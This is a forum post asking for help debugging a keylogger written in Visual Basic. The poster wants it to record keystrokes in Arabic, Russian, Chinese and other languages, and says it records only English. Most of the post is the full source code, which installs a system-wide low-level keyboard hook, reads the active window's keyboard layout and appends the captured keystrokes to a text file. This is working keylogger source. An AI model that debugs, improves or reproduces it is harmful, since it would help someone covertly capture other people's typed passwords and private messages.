Hello,
Sorry I can speak english only.
I am working on a Unicode keylogger to record keylogs of any selected Regional languages like arabics, russian, chinies.etc.
Here is it's source code where I am trying to Mapping Vkey. This code is not showing any error message, but also not recording keylogs in different languages.
It is always recording in english language.
I've asked in other forums also, but nobody is helping me.
Please have a look to the following codes and try to tell me where I am doing mistake in my codes.
Option Explicit
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
Public Const WH_KEYBOARD_LL = 13
Private Const HC_ACTION = 0
Private Const HC_NOREMOVE = 3
Public Const VK_LSHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Public Const VK_SHIFT = &H10
Public Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Private hHook As Long
Public IsHooked As Boolean
Dim mStr As String
Public Sub SetKeyboardHook()
On Error Resume Next
If IsHooked Then
DoEvents
Else
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
IsHooked = True
Close #1
Open App.Path & "\test.txt" For Append As #1
mStr = Empty
DoEvents
End If
End Sub
Public Sub RemoveKeyboardHook()
On Error Resume Next
UnhookWindowsHookEx hHook
IsHooked = False
Print #1, mStr
Close #1
DoEvents
End Sub
Public Function COLR(TES As String)
On Error Resume Next
mStr = mStr & TES
End Function
Public Function LowLevelKeyboardProc(ByVal uCode As Long, ByVal wParam As Long, lParam As KBDLLHOOKSTRUCT) As Long
On Error GoTo errr
If uCode >= 0 Then
Select Case uCode
Case HC_ACTION
Debug.Print lParam.vkCode
If wParam <> 257 Then
Select Case (lParam.vkCode)
Case 65 To 90
Call COLR(ChrW$(MapVirtualKeyEx(lParam.vkCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))))
End Select
End If
Case HC_NOREMOVE
DoEvents
End Select
End If
DoEvents
LowLevelKeyboardProc = CallNextHookEx(hHook, uCode, wParam, lParam)
errr:
End Function
Thanks !
Regards,